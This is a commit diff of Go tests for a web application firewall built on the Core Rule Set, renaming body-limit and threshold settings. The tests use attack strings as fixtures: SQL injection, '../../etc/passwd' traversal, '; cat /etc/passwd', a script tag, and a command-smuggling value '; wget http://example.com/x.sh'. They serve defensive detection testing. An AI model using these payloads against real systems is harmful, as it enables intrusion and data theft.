Rename the settings whose names do not say what they control (closes #234)
check / check (push) Waiting to run
check / check (push) Waiting to run
Applies the setting renames of the naming audit under the SWW_WAF_ and SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache time and the two time limits, which now take milliseconds. The rproxy log field default_disposition becomes waf_backend_no_answer, and config.Config and config.FromEnvironment become config.WAF and config.WAFFromEnvironment. Go fields, test names and prose follow. No aliases; nothing reads the old names. Model: opus-5-5
This commit was merged in pull request #370.
This commit is contained in:
1 parent
94d60358ee
commit
4dad4fff43
100 files changed
+2261
-2019
No files matched your search
@@ -1089,7 +1089,8 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
|
||||
const workers, perBody = 16, 10
|
||||
|
||||
crs, err := loaderFor(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -1166,15 +1167,18 @@ func misfiringPasswords(t *testing.T) []string {
|
||||
func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
misfiring := misfiringPasswords(t)
|
||||
names := []string{name}
|
||||
|
||||
body := passwordBody(t, r, names, misfiring...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
if len(body) > bodyInspectionSize {
|
||||
t.Fatalf(
|
||||
"a body of %d bytes is cut at bodyInspectionSize",
|
||||
len(body),
|
||||
)
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
|
||||
@@ -1197,7 +1201,7 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
|
||||
func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{
|
||||
"' OR '1'='1", pathTraversal, "; cat /etc/passwd",
|
||||
@@ -1217,7 +1221,7 @@ func wantPasswordAttacksPass(t *testing.T, r request, names ...string) {
|
||||
func wantPasswordAttacksRefused(t *testing.T, r request, name string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
for _, attack := range []string{scriptTag, "javascript:alert(1)"} {
|
||||
body := passwordBody(t, r, []string{name}, attack)
|
||||
@@ -1307,7 +1311,7 @@ func TestGiteaPasswordsPass(t *testing.T) {
|
||||
func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1364,7 +1368,7 @@ func TestPasswordFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -1400,7 +1404,7 @@ func TestPasswordExclusionsAreNarrow(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -1480,7 +1484,7 @@ func TestGiteaSearchOnAUsersOrAnOrganisationsPageLetsLsThrough(
|
||||
}
|
||||
|
||||
// A command after a ";" in q is still refused on each of these paths.
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
for _, target := range []string{
|
||||
"/alice?tab=repositories&q=",
|
||||
@@ -1505,12 +1509,12 @@ const (
|
||||
)
|
||||
|
||||
// readingBodiesUpTo64K returns the Core Rule Set as sww runs it by default,
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_LIMIT.
|
||||
// but reading bodies up to the largest SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE.
|
||||
func readingBodiesUpTo64K(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: 64<<10 - 1,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: 64<<10 - 1,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -1572,7 +1576,7 @@ func wordpressAttackTargets(attack string) []string {
|
||||
func TestWordPressAttacksAreRefused(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodiesUpTo64K(t)
|
||||
|
||||
@@ -2310,8 +2314,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
|
||||
wantBody(t, crs, signIn, body, matched(930120), body)
|
||||
}
|
||||
|
||||
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies.
|
||||
const bodyLimit = 8 << 10
|
||||
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
|
||||
// tests that read bodies.
|
||||
const bodyInspectionSize = 8 << 10
|
||||
|
||||
// The Content-Type headers of the kinds of body the Core Rule Set reads.
|
||||
const (
|
||||
@@ -2334,12 +2339,13 @@ const pathTraversal = "../../etc/passwd"
|
||||
const shellCommand = "; wget http://example.com/x.sh"
|
||||
|
||||
// readingBodies returns the Core Rule Set as sww runs it by
|
||||
// default, but reading bodies up to bodyLimit.
|
||||
// default, but reading bodies up to bodyInspectionSize.
|
||||
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
|
||||
t.Helper()
|
||||
|
||||
return shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})
|
||||
}
|
||||
|
||||
@@ -2393,7 +2399,7 @@ func wantBody(
|
||||
}
|
||||
}
|
||||
|
||||
func TestBodiesAreReadOnlyWhileBodyLimitIsSet(t *testing.T) {
|
||||
func TestBodiesAreReadOnlyWhileBodyInspectionSizeIsSet(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
off, on := atDefaults(t), readingBodies(t)
|
||||
@@ -2413,7 +2419,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
pad := strings.Repeat("a", bodyLimit)
|
||||
pad := strings.Repeat("a", bodyInspectionSize)
|
||||
|
||||
for _, tc := range []struct{ header, attackFirst, attackLast string }{
|
||||
{
|
||||
@@ -2426,20 +2432,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
},
|
||||
} {
|
||||
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
|
||||
tc.attackFirst[:bodyLimit+1])
|
||||
tc.attackFirst[:bodyInspectionSize+1])
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
post(tc.header),
|
||||
tc.attackLast,
|
||||
coreruleset.Result{},
|
||||
tc.attackLast[:bodyLimit+1],
|
||||
tc.attackLast[:bodyInspectionSize+1],
|
||||
)
|
||||
}
|
||||
|
||||
// To the byte: a system file's path is found when it ends at the limit,
|
||||
// and not when its last letter is past it, which is still read.
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
|
||||
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2449,7 +2455,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
|
||||
atLimit,
|
||||
)
|
||||
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
|
||||
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2469,10 +2475,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
|
||||
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
|
||||
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
|
||||
} {
|
||||
fits := padded(tc.head, tc.tail, bodyLimit)
|
||||
fits := padded(tc.head, tc.tail, bodyInspectionSize)
|
||||
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
|
||||
|
||||
larger := padded(tc.head, tc.tail, bodyLimit+1)
|
||||
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
|
||||
wantBody(
|
||||
t,
|
||||
crs,
|
||||
@@ -2529,7 +2535,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
|
||||
|
||||
// Whatever its size: a JSON body larger than the limit is not read, but
|
||||
// Content-Encoding on it is refused all the same.
|
||||
larger := strings.Repeat("a", bodyLimit+1)
|
||||
larger := strings.Repeat("a", bodyInspectionSize+1)
|
||||
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
|
||||
|
||||
// It is allowed on a body of any other kind, and on every body while no
|
||||
@@ -2748,7 +2754,7 @@ func giteaBranchNamesInBodies() []nameInBody {
|
||||
func TestGiteaNamesInBodiesStillRefuseAttacks(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -2849,7 +2855,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
// that has no colon, before the attack. They do so padded past the
|
||||
// limit too, which cuts them in the padding.
|
||||
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
|
||||
pad := field("pad", strings.Repeat("a", bodyLimit))
|
||||
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
|
||||
|
||||
for _, tc := range []struct{ header, head string }{
|
||||
{multipart + "; boundary=c", ""},
|
||||
@@ -2867,7 +2873,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
|
||||
|
||||
body = tc.head + field("q", injection) + pad + end
|
||||
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
body[:bodyInspectionSize+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2880,7 +2886,10 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
cut := "--b\r\nContent-Di"
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-len(cut),
|
||||
),
|
||||
)
|
||||
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
|
||||
|
||||
@@ -2890,7 +2899,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
|
||||
post(multipart),
|
||||
body,
|
||||
matched(900440, 900450),
|
||||
body[:bodyLimit+1],
|
||||
body[:bodyInspectionSize+1],
|
||||
)
|
||||
}
|
||||
|
||||
@@ -2909,12 +2918,15 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
|
||||
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
|
||||
first := field(
|
||||
"pad",
|
||||
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
|
||||
strings.Repeat(
|
||||
"a",
|
||||
bodyInspectionSize-len(field("pad", ""))-cut,
|
||||
),
|
||||
)
|
||||
body := first + field("q", "1") + end
|
||||
|
||||
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
|
||||
body[:bodyLimit+1])
|
||||
body[:bodyInspectionSize+1])
|
||||
}
|
||||
}
|
||||
|
||||
@@ -2929,7 +2941,8 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
// The test loads its own Core Rule Set, since loading is part of what
|
||||
// it checks.
|
||||
crs, err := coreruleset.New(coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("load the Core Rule Set: %v", err)
|
||||
@@ -2941,11 +2954,11 @@ func TestCorazaWritesNoFile(t *testing.T) {
|
||||
wantBody(t, crs, post(multipart), body, matched(942100), body)
|
||||
}
|
||||
|
||||
func TestBodyLimitOf1GLoads(t *testing.T) {
|
||||
func TestBodyInspectionSizeOf1GLoads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
_, err := coreruleset.New(
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30},
|
||||
coreruleset.Params{ParanoiaLevel: 1, BodyInspectionSize: 1 << 30},
|
||||
)
|
||||
if err != nil {
|
||||
t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err)
|
||||
|
||||
Reference in new issue
Block a user